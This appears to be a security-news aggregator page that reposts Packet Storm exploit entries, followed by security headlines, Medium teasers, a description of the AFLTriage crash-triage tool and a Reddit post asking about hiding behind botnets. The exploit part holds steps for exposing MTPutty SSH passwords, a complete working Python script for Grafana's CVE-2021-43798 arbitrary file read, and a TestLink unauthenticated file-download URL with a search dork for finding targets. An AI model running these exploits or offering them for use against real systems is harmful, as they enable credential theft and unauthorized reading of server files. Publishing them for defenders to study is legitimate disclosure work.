Exploit Collector
MTPutty 1.0.1.21 SSH Password Disclosure

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
MTPutty version 1.0.1 suffers from an SSH password disclosure vulnerability.

MD5 | ae8afd1fb39130d84c7242ec85b59b8c

Download
# Exploit Title: MTPutty 1.0.1.21 - SSH Password Disclosure
# Exploit Author: Sedat Ozdemir
# Version: 1.0.1.21
# Date: 06/12/2021
# Vendor Homepage: https://ttyplus.com/multi-tabbed-putty/
# Tested on: Windows 10

Proof of Concept
================

Step 1: Open MTPutty and add a new SSH connection.
Step 2: Click double times and connect to the server.
Step 3: Run run “Get-WmiObject Win32_Process | select name, commandline |
findstr putty.exe” on powershell.
Step 4: You can see the hidden password on PowerShell terminal.


Source:packetstormsecurity.com

Exploit Collector
Grafana 8.3.0 Directory Traversal / Arbitrary File Read

https://3.bp.blogspot.com/-jrxagBWWEzc/WWlvX2ct0sI/AAAAAAAAIOc/SeYUuYsvaHQ6pP3Hky0NtyeOgPg6HpFpgCLcBGAs/s1600/h54.png
Grafana version 8.3.0 suffers from a directory traversal vulnerability that can allow for arbitrary file reading.

MD5 | 6c5e75e53691c8f37a2a3aa15b286cca

Download
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]

def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

while True:
file_to_read = input('Read file > ')

try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)

if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass

def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()

try:
exploit(args)
except KeyboardInterrupt:
return
if __name__ == '__main__':
main()
sys.exit(0)


Source:packetstormsecurity.com

Exploit Collector
TestLink 1.19 Arbitrary File Download

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
TestLink versions 1.16 through 1.19 suffer from an arbitrary file download vulnerability.

MD5 | 662aeacc4ee54a2b4a00f029b7ef1784

Download
# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Google Dork: inurl:/testlink/
# Date: 07/12/2021
# Exploit Author: Gonzalo Villegas (Cl34r)
# Exploit Author Homepage: https://nch.ninja
# Vendor Homepage: https://testlink.org/
# Version:1.16 <=
# CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)

Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"

for research notes:
https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Build a Better Internal Fraud Protection Program

Fraud awareness training is just the beginning.

Dark Reading: Attacks/Breaches
LastPass Announces New Integration with Google Workspace

The latest integration furthers the company’s mission to provide an unmatched security model for businesses, without adding complexity for users.

Dark Reading: Attacks/Breaches
Why the Private Sector Is Key to Stopping Russian Hacking Group APT29

Left unchecked, these attacks could have devastating effects on government and military secrets and jeopardize the software supply chain and the global economy.

Dark Reading: Attacks/Breaches
One-Third of Phishing Pages Gone in a Day

Security experts say the first hours in a phishing page's life are the most dangerous for users.

Hacking on Medium
Is Firebase’s Firestore database secure?

https://cdn-images-1.medium.com/max/2400/1*XL5pm20d7IrO-yxfmYTQ8A.jpeg
Firestore is Firebase’s most recent form of database engine. It’s real-time, quick to integrate into Android, iOS and web apps, and very…

Continue reading on Medium »

Hacking on Medium
eLection: 1 Vulnhub Walkthorugh

https://cdn-images-1.medium.com/max/818/0*penlpeNNZI9p5O67.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

AFLTriage - Tool To Triage Crashing Input Files Using A Debugger
http://www.kitploit.com/2021/12/afltriage-tool-to-triage-crashing-input.html

Usage Usage of AFLTriage is quite straightforward. You need your inputs to triage, an output directory (https://www.kitploit.com/search/label/Directory) for reports, and the binary and its arguments to triage. Example: $ afltriage -i fuzzing_directory -o reports ./target_binary --option-one @@
AFLTriage v1.0.0

[+] GDB is working (GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1 - Python 3.6.9 (default, Jan 26 2021, 15:33:00))
[+] Image triage cmdline: "./target_binary --option-one @@"
[+] Reports will be output to directory "reports"
[+] Triaging AFL directory fuzzing_directory/ (41 files)
[+] Triaging 41 testcases
[+] Using 24 threads to triage
[+] Triaging [41/41 00:00:02] [####################] CRASH: ASAN detected heap-buffer-overflow in buggy_function after a READ leading to SIGABRT (si_signo=6) / SI_TKILL (si_code=-6)
[+] Triage stats [Crashes: 25 (unique 12), No crash: 16, Errored: 0]
Similar to AFL the @@ is replaced with the path of the file to be triaged. AFLTriage will take care of the rest. Building and Running You will need a working Rust build environment. Once you have cargo and rust installed, building and running is simple: Finished dev [unoptimized + debuginfo] target(s) in 0.33s Running `target/debug/afltriage --help` ... ">cd afltriage-rs/
cargo run --help



Finished dev [unoptimized + debuginfo] target(s) in 0.33s
Running `target/debug/afltriage --help`


...
Extended Usage ... -o ... OPTIONS: -i ... A list of paths to a testcase, directory of testcases, AFL directory, and/or directory of AFL directories to be triaged. Note that this arg takes multiple inputs in a row (e.g. -i input1 input2...) so it cannot be the last argument passed to AFLTriage -- this is reserved for the command. -o The output directory for triage report files. Use '-' to print entire reports to console. -t, --timeout The timeout in milliseconds for each testcase to triage. [default: 60000] -j, --jobs How many threads to use during triage. --report-formats ... The triage report output formats. Multiple values allowed: e.g. text,json. [default: text] [possible values: text, json, rawjson] --bucket-strategy The crash deduplication strategy to use. [default: afltriage] [possible values: none, afltriage, first_frame, first_frame_raw, first_5_frames, function_names, first_function_name] --child-output Include child output in triage reports. --child-output-lines How many lines of program output from the target to include in reports. Use 0 to mean unlimited lines (not recommended). [default: 25] --stdin Provide testcase input to the target via stdin instead of a file. --profile-only Perform environment checks, describe the inputs to be triaged, and profile the target binary. --skip-profile Skip target profiling before input processing. --debug Enable low-level debugging output of triage operations. -h, --help Prints help information -V, --version Prints version information ARGS: ... The binary executable and args to execute. Use '@@' as a placeholder for the path to the input file or --stdin. Optionally use -- to delimit the start of the command. ">afltriage 1.0.0
Quickly triage and summarize crashing testcases

USAGE:
afltriage -i ... -o ...

OPTIONS:
-i ...

A list of paths to a testcase, directory of testcases, AFL directory, and/or directory of AFL directories to
be triaged. Note that this arg takes multiple inputs in a row (e.g. -i input1 input2...) so it cannot be the
last argument passed to AFLTriage -- this is reserved for the command.
-o
The output directory for triage report files. Use '-' to print entire reports to console.

-t, --timeout
The timeout in milliseconds for each testcase to triage. [default: 60000]

-j, --jobs
How many threads to use during triage.

--report-formats ...
The triage report output formats. Multiple values allowed: e.g. text,json. [default: text] [possible
values: text, json, rawjson]
--bucket-strategy
The crash deduplication strategy to use. [default: afltriage] [possible values: none, afltriage,
first_frame, first_frame_raw, first_5_frames, function_names, first_function_name]
--child-output
Include child output in triage reports.

--child-output-lines
How many lines of program output from the target to include in reports. Use 0 to mean unlimited lines (not
recommended). [default: 25]
--stdin
Provide testcase input to the target via stdin instead of a file.

--profile-only
Perform environment chec ks, describe the inputs to be triaged, and profile the target binary.

--skip-profile
Skip target profiling before input processing.

--debug
Enable low-level debugging output of triage operations.

-h, --help
Prints help information

-V, --version
Prints version information


ARGS:
...
The binary executable and args to execute. Use '@@' as a placeholder for the path to the input file or
--stdin. Optionally use -- to delimit the start of the command.
Related Projects GDB Exploitable (https://github.com/jfoote/exploitable) - A big inspiration for AFLTriage Crashwalk (https://github.com/bnagy/crashwalk) afl-collect from afl-utils (https://github.com/rc0r/afl-utils)

Download AFLTriage (https://github.com/quic/AFLTriage)

hacking: security in practice
Hiding via Botnets spread all over russia, china and non friendly US/European union countries?

Is it possible to hide yourself via infecting PCs all over china, Korea or pakistan?

Will such hacker be caught?

submitted by /u/Good-Bottle7238
[link] [comments]

https://preview.redd.it/9n9939cb4k481.jpg?width=640&crop=smart&auto=webp&s=b4da0ad3e1285c448ac1a712d0ecb3e1e401a215 submitted by /u/DrinkMoreCodeMore
[link] [comments]